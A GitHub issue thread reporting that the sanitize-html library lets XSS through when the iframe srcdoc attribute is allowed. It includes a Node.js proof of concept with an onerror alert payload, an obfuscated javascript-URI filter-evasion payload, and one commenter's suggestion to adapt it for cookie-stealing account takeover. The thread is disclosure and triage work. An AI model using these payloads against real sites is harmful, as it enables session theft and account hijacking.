-
Notifications
You must be signed in to change notification settings - Fork 352
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
XSS through srcdoc attribute of iframe #217
Comments
Hi Ionut,
Allowing "srcdoc" is something developers don't have to do, we don't do it
by default, and I don't think users would assume sanitize-html recursively
sanitizes "srcdoc". So I wouldn't call it an urgent XSS attack vector.
However, recursively sanitizing srcdoc with the same options given for the
current document sounds like a good idea. I don't see how it could be a bc
break for anything useful, given how dangerous it is to allow srcdoc in the
current setup.
A PR for this would be welcome.
…On Thu, Apr 5, 2018 at 2:11 PM, Ionuț Ambrosie ***@***.***> wrote:
Hi guys,
It seems that by allowing *iframe* tags together with the *srcdoc*
attribute can lead to a bypass of the sanitizer. This can further be abused
for XSS purposes.
Here's a PoC:
***@***.***:~/Documents/NodeThirdParty/SanitizeHTML$ cat index.js
var sanitizeHtml = require('sanitize-html');
clean = sanitizeHtml('<iframe src="https://www.youtube.com/embed/nykIhs12345" srcdoc="<img src=x:x onerror=alert(1)>"></iframe>', {
allowedTags: [ 'iframe' ],
allowedAttributes: {
'iframe': ['srcdoc'],
},
});
console.log(clean);
The output of running the above code snippet has been redirected into the
contents of index.html:
***@***.***:~/Documents/NodeThirdParty/SanitizeHTML$ cat index.html
<iframe srcdoc="<img src=x:x onerror=alert(1)>"></iframe>
The index.html file was then opened in Firefox 52.6.0 (64-bit) on Linux,
but the payload also executes in the latest stable build of Chrome
65.0.3325.181 (Official Build) (64-bit) on Windows.
[image: ffxss]
<https://user-images.githubusercontent.com/4072584/38382693-48249c66-3913-11e8-8a8c-c5a8053b1f0d.png>
The sanitize-html version used is 1.18.2, together with node version 1.8.2.
Kind regards,
Ionut Ambrosie
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
<#217>, or mute the thread
<https://github.com/notifications/unsubscribe-auth/AAB9fdg_iwUQ23LTeofDuX7axzLQ541rks5tll48gaJpZM4TI6vR>
.
--
*THOMAS BOUTELL, CHIEF SOFTWARE ARCHITECT*
P'UNK AVENUE | (215) 755-1330 | punkave.com
|
Hi @boutell, I fully agree with you: this is only possible only if the srcdoc attribute is allowed. I'm sorry for not emphasizing this enough. However, I'm not sure about how healthy it is in the long run to make assumptions about the way users are going to use a product. In this particular case, after a quick search, I found that Ghost developers might have made that assumption. Regards, |
Yes, I think it would not be a bc break if sanitize-html were to start sanitizing this attribute, because it does get treated as markup by the browser. Would be an easy PR to contribute... |
A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d
<script y="><">/*"/ondblclick=`<`[confir\u006d``]>z
click
click
|
Would you mind putting that exploit in a gist? I think markdown has made a hash of it. Thanks! |
Best thing of course would be a PR with a failing unit test. |
<iframe srcdoc="<img src=x:x onerror=alert(1)>"></iframe> |
Good example. |
(I remain comfortable with inviting contributions on this one because allowing |
Oh markdown. <iframe srcdoc=IMG TAG PAYLOAD HERE></iframe> Use this for cookie stealing account takeover. Replace srcdoc value to your own xsshunter.com/app payload. Don't use it as it's my own. |
Allowing "srcdoc" is like allowing "script", everyone should know it's dangerous (because it allows script inside it, for instance). Support for filtering srcdoc to the same standard as the rest of the document would be nice to have, but it's not a security hole, any more than the fact that you could allow "onclick" is a security hole. We don't allow either by default. |
This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions. |
Hi guys,
It seems that by allowing iframe tags together with the srcdoc attribute can lead to a bypass of the sanitizer. This can further be abused for XSS purposes.
Here's a PoC:
The output of running the above code snippet has been redirected into the contents of index.html:
The index.html file was then opened in Firefox 52.6.0 (64-bit) on Linux, but the payload also executes in the latest stable build of Chrome 65.0.3325.181 (Official Build) (64-bit) on Windows.
The sanitize-html version used is 1.18.2, together with node version 1.8.2.
Kind regards,
Ionut Ambrosie
The text was updated successfully, but these errors were encountered: